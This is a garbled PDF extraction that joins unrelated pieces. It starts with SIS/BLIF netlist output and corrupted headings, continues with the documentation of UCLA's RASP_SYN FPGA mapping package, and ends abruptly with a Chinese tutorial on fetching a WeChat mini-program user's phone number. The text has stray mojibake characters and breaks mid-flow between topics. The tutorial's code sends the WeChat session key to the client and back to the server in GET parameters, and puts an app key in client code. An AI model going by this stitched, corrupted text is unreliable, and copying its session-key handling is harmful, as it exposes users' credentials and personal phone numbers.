LatchOut_v5 OUT_010 1.names LatchOut_v3 LatchOut_v5 OUT_100 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 OUT_201- 1-11 1.names [21] [22] v6.01- 1-1 1.names [25] [26] [27] v6.11-- 1-1- 1--1 1.names IN_0 IN_2 LatchOut_v4 LatchOut_v5 v6.2--00 10011 1.names LatchOut_v5 [25] [26] [27] [21]01-- 10-1- 10--1 1.names v6.2 [25] [26] [27] [22]11-- 11-1- 11--1 1.names IN_0 IN_1 LatchOut_v5 [25]000 1.names IN_0 LatchOut_v3 LatchOut_v4 LatchOut_v5 [26]001- 10-11 1.names IN_0 LatchOut_v3 LatchOut_v5 [27]000 1.exdc.inputs IN_0 IN_1 IN_2 LatchOut_v3 LatchOut_v4 LatchOut_v5 .outputs v6.0 v6.1 v6.2 OUT_0 OUT_1 OUT_2.names LatchOut_v3 LatchOut_v4 LatchOut_v5 v6.010- 1011 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 v6.110- 1011 1ÃÃ.names LatchOut_v3 LatchOut_v4 LatchOut_v5 v6.210- 1011 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 OUT_010- 1011 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 OUT_110- 1011 1.names LatchOut_v3 LatchOut_v4 LatchOut_v5 OUT_210- 1011 1.end3URJUDPPDEOH /RJLF %ORFN *HQHUDWLRQIn our installation of SIS it is possible to map to Xilinx 3000 and 4000 –series.VLV! PDWFKB N Y##PI=3 #PO=3 #LUT=11 #CLB=6 #LEVEL=3#0001: ( OUT_2 , v6.2 )#0002: ( OUT_1 , [26] )#0003: ( OUT_0 , [27] )#0004: ( v6.1 , [21] )#0005: ( v6.0 , [25] )#0006: ( [22] ) sis> match_3k -vThe argument “-v” makes it print the list about which LUTs should be in the same CLB. $SSHQGL[$SSHQGL[ $+--------------------------------------------------------------------------+ | RASP_SYN: LUT-Based FPGA Technology Mapping Package (Release B 1.0) | | -- Synthesis Core of the UCLA RASP Systems | +--------------------------------------------------------------------------+ | Copyright (C) 1991-1997 the Regents of University of California | +--------------------------------------------------------------------------+ | Authors: Eugene Ding, VLSI CAD Lab, UCLA CS Dept. <eugene@> | | Yean-Yow Hwang, VLSI CAD Lab, UCLA CS Dept.<yeanyow@>| | Chang Wu, VLSI CAD Lab, UCLA CS Dept. <changwu@> | | Songjie Xu, VLSI CAD Lab, UCLA CS Dept. <sxu@> | | Project Director: Prof. Jason Cong, UCLA CS Dept. <cong@> | +--------------------------------------------------------------------------+ | This release includes the following mapping algorithms: | | DAG_Map version 1.0 | | FlowMap version 2.1 | | FlowMap-r version 2.0 | | FlowSYN version 2.0 | | CutMap version 1.2 | | ZMap version 1.0 | | TurboMap version 1.0+--------------------------------------------------------------------------+ -------------------<0> ACKNOWLEDGEMENTÃÃ-------------------The FlowMap and CutMap and TurboMap packages are integrated into the SIS system and uses many of the routines provided by SIS. The SIS system was developed in UC Berkeley Electronic Research Lab.--------------------------------------<1> RELEASE AGREEMENT AND CONTACT INFO--------------------------------------Please refer to "release.statement".-----------<2> CONTENT-----------sis -- binary of SIS compiled with FlowMap andCutMap packages.doc -- this file.release.statement -- to be read first.rasp_syn -- a csh script of FPGA mappingselect -- mapping result selectorThis release contains programs primarily developed by September 1997. More functions will be added to future release when they are stablized. It runs on Sun SPARCstation under SunOS 4.1.3 and Solaris.Some commands are not included in the release due to nondisclosure agreement.RASP_SYN package provides a complete solution to SRAM-based FPGA mapping engine. The entire flow of RASP_SYN is:1. gate decomposition to get K-bounded circuit, where K is thefanin limit of LUTs of the target architecture2. generic LUT mapping3. post-processing mainly for area reduction4. architecture specific mapping.RASP_SYN comes with a user-friendly csh script for the ease of use. However, you can modify the script or write your own based on your specific needs.------------------------<3> TECHNICAL REFERENCES------------------------J. Cong, Y. Ding, "An Optimal Technology Mapping Algorithm for DelayOptimization in Lookup-Table based FPGA Designs," IEEE Trans. on CAD, Vol. 13, No. 1, Jan. 1994, pp. 1-12.J. Cong, Y. Ding, "On Area/Depth Trade-off in LUT-Based FPGA Technology Mapping," IEEE Trans. on VLSI Systems, Vol 2., No. 2, June 1994,pp. 137-148.J. Cong, Y. Ding, T. Gao, K. Chen, "LUT-Based FPGA Technology Mappingunder Arbitrary Net-Delay Models," Computers & Graphics,Vol.18, No.4, 1994, 507-516.J. Cong, Y. Ding, "Beyond the Combinatorial Limit in Depth Minimization for LUT-Based FPGA Designs," Proc. 1993 IEEE/ACM Int’l Conf. on CAD,Santa Clara, CA, Nov. 1993, pp. 110-114.K.Chen, J.Cong, Y.Ding, A.Kahng, P.Trajmar, "DAG-MAP: Graph-BasedÃÃFPGA Technology Mapping for Delay Optimization," IEEE Design & Testof Computers, Sept. 1992J. Cong, J. Peck, Y. Ding, "RASP: A General Logic Synthesis System forSRAM-based FPGAs," Proc. ACM 4th Int’l Symp. on FPGA, pp. 137-143, 1996J. Cong, Y. Hwang, "Simultaneous Depth and Area Minimization in LUT-BasedFPGA Mapping," Proc. ACM 3rd Int’l Symp. on FPGA, Feb. 1995, pp. 68-74.J. Cong, Y. Hwang, "Structural Gate Decomposition for Depth-OptimalTechnology Mapping in LUT-based FPGA Designs," Proc. ACM/IEEE 33rdDesign Automation Conf., pp. 726-729, 1996.J. Cong, C. Wu, "An Improved Algorithm for Performance Optimal TechnologyMapping with Retiming in LUT-Based FPGA Design," Proc. IEEE InternalConference on Computer Design, pp. 572-578, 1996Xilinx, FPGA Data Book, 1994---------<4> USAGE---------4.1 Running with a super scriptSuper Script of UCLA FPGA MappingUsage: rasp_syn circuit -sis path -k k -device xc3k/xc4k -algo algo -relax r -objective area/delay/tradeoff/allRasp_syn is a csh script for an easy usage of UCLA FPGA Mapping algorithms.In default, the input is in EQN format with extension .eqn. The output isan LUT network with/without matching information in EQN format as well.Please keep the program "select" in the current directory.To use other data formats as BLIF or SLIF which are supported by SIS of UCB, please set FMT in rasp_syn script to blif or slif and use .blif or .slifas the name extension of the input file. The output format will be changed automatically, except the CLB matching file format, which will be keptin EQN format. For Xilinx XC3K/XC4K CLBs, the CLB clustering informationwill be presented as:#CLB_number: (lut1, lut2)lut1 = ..lut2 = ..There are two ways to run rasp_syn:1. Running with single given mapping algorithmThe algorithm must be specified with option -algo algorithm. The targetis K-LUT. The output circuit is in circuit.k in EQN format.2. Running with multiple algorithmsRasp_syn can run all the built-in algorithms automatically and returnthe best result (in terms of area or delay) or a set of resultsbased on area-delay tradeoff or all the results for you.To run multiple algorithms, you simply do not specify any algorithm with-algo option.OptionsÃÃ-sis Specify the path of sis. The default is sis and the pathmust be specified in the environment.-k Used only in single algorithm mode. K is the input numberof LUTs. The output is in circuit.k.-device Used only in multi-algorithm mode. This is the default mode. The current supported devices are:xc3k Xilinx XC3000 Familyxc4k Xilinx XC4000 Family-algo Specify the mapping algorithm in single algorithm mode.The current supported algorithms are:flowmap: FlowMapflowmap-r: FlowMap-rflowsyn: FlowSYNcutmap: CutMapzmap: ZMap for delayzma: ZMap for area-relax Used only in single algorithm mode with FlowMap-r.R is the depth relaxation.-objective Used only in multi-algorithm mode. The objective can be:area: Area first. This is the default objective.delay: Depth firsttradeoff: Area-delay tradeoffall: All the results4.2 Running SIS without the super scriptSIS is a complete logic synthesis package. All of the following commands have been built in SIS which can be run directly from SIS.Commands provided by UCLA FPGA Mapping Package--------------------------------------------------------------------1. Gate Decomposition Commands* dmig [ -k <K_value> ] [ -f ]Decompose a simple gate network into a K-bounded network(i.e. each gate has no more than K inputs), orcomplex gates into K-bounded gates with -f option.For obtaining a simple gate network, use sis command"tech_decomp -a 1000 -o 1000."-k specifies max. gate input size K, with a default value 2.-f decompose complex gates in the network* dogma [ -k <K_value> ]Decompose a simple gate network into a 2-bounded networksuch that flowmap, cutmap, or zmap can obtain a best (small) depth.-k specifies the LUT input size K, with a default value 5.--------------------------------------------------------------------2. LUT Mapping Commands* dagmap [ -k <K_value> ]Map a K-bounded network into a K-LUT network of small depthÃÃ(might not be optimal).-k specifies the LUT input size K, with a default value 5.* flowmap [ -k <K_value> ] [-r <R_value> ] [ -s <S_value> ]Map a K-bounded network into a K-LUT network of optimal depth,or within the optimal depth plus R.Area can be further reduced by post-processing packing routines.-k specifies the LUT input size K, with a default value 5.-r specifies the relaxed depth value R.If -r is not used, every node is at its optimal depth,-r 0 will trade depth on non-critical paths for a smaller area(the LUT network still has an optimal depth),-r R will allow depth to increase by R (then dfmap is called toreduce the area).-s specifies the cone input size S for which resynthesis of conesare performed for a smaller LUT network depth.* dfmap [ -k <K_value> ]Map a K-bounded network into a K-LUT network of optimal areaWITHOUT any node duplication.It is used after flowmap -r and mffc_shrink, and is followedby a LUT packing procedure. For example, we use dfmap in"flowmap -k 5 -r 1; mffc_shrink -k 5; dfmap -k 5; greedy_pack -k 5"-k specifies the LUT input size K, with a default value 5.* cutmap [ -k <K_value> ] [-x ]Map a K-bounded network into a K-LUT network of optimal depthwith simultaneous area minimization.Area can be further reduced by post-processing packing routines.-k specifies the LUT input size K, with a default value 5.-x specifies depth relaxation on non-critical paths.* zmap [ -k <K_value> ] [-c ]Map a K-bounded network into a K-LUT network of optimal depthwith simultaneous area minimization (cut enumeration approach).Area can be further reduced by post-processing packing routines.-k specifies the LUT input size K, with a default value 5.-c will minimize area only with no bound on depth* turbomap [ -k <K_value> ] [-c <clock_value> ] [ -a <area_reduction> ]Map a K-bounded network into a K-LUT network with the minimum clockperiod. Area can be further reduced by post-processing packing routines.-k specifies the LUT input size K,default value: 5.-c specifies an upper-bound on the clock period,-1: no upper-bound, (default)。

微信⼩程序⽤户授权获取⼿机号（getPhoneNumber）前⾔⼩程序有⼀个获取⽤户很便捷的api，就是通过getPhoneNumber获取⽤户的已经绑定微信的⼿机号码。

有⼀点要⼤家注意，现在微信和注重⽤户体验，有些⽅法都是需要⽤户主动去触发才能调⽤的，⽐如getPhoneNumber。

实现思路：1、通过wx.login获取code,从⽽获取到⽤户的openID和sessionKey2、通过getPhoneNumber获取encryptedData，iv3、通过参数【encryptedData】、【iv】、【sessionKey】请求后台解密获取⽤户⼿机号直接上⼲货：1、⽤户点击获取⽤户⼿机号码按钮<button class='pop_btn' plain="true"open-type='getPhoneNumber' bindgetphonenumber="getPhoneNumber">获取⽤户⼿机号</button>2、弹出授权图⽚：3、通过解密获取⼿机号码直接上代码：wxlogin: function() { //获取⽤户的openID和sessionKeyvar that = this;wx.login({//获取code 使⽤wx.login得到的登陆凭证，⽤于换取openidsuccess: (res) = >{wx.request({method: "GET",url: 'https://xxxwx/wxlogin.do',data: {code: res.code,appId: "appIdSbcx",appKey: "appKeySbcx"},header: {'content-type': 'application/json' // 默认值},success: (res) = >{console.log(res);that.setData({sessionKey: res.data.session_key});}});}});}getPhoneNumber: function(e) { //点击获取⼿机号码按钮var that = this;wx.checkSession({success: function() {console.log(e.detail.errMsg)console.log(e.detail.iv)console.log(e.detail.encryptedData)var ency = e.detail.encryptedData;var iv = e.detail.iv;var sessionk = that.data.sessionKey;if (e.detail.errMsg == 'getPhoneNumber:fail user deny') {that.setData({modalstatus: true});} else { //同意授权wx.request({method: "GET",url: 'https://xxx/wx/deciphering.do',data: {encrypdata: ency,ivdata: iv,sessionkey: sessionk},header: {'content-type': 'application/json' // 默认值},success: (res) = >{console.log("解密成功~~~~~~~将解密的号码保存到本地~~~~~~~~");console.log(res);var phone = res.data.phoneNumber;console.log(phone);},fail: function(res) {console.log("解密失败~~~~~~~~~~~~~");console.log(res);}});}},fail: function() {console.log("session_key 已经失效，需要重新执⾏登录流程");that.wxlogin(); //重新登录}});}后台代码：/*** 解密并且获取⽤户⼿机号码* @param encrypdata* @param ivdata* @param sessionkey* @param request* @return* @throws Exception*/@RequestMapping(value = "deciphering", method = RequestMethod.GET)public @ResponseBody String deciphering(String encrypdata,String ivdata, String sessionkey,HttpServletRequest request) {byte[] encrypData = Base64.decode(encrypdata);byte[] ivData = Base64.decode(ivdata);byte[] sessionKey = Base64.decode(sessionkey);String str="";try {str = decrypt(sessionKey,ivData,encrypData);} catch (Exception e) {// TODO Auto-generated catch blocke.printStackTrace();}System.out.println(str);return str;}public static String decrypt(byte[] key, byte[] iv, byte[] encData) throws Exception { AlgorithmParameterSpec ivSpec = new IvParameterSpec(iv);Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");SecretKeySpec keySpec = new SecretKeySpec(key, "AES");cipher.init(Cipher.DECRYPT_MODE, keySpec, ivSpec);//解析解密后的字符串return new String(cipher.doFinal(encData),"UTF-8");}总结到此这篇关于微信⼩程序⽤户授权获取⼿机号的⽂章就介绍到这了,更多相关⼩程序授权获取⼿机号内容请搜索以前的⽂章或继续浏览下⾯的相关⽂章希望⼤家以后多多⽀持！。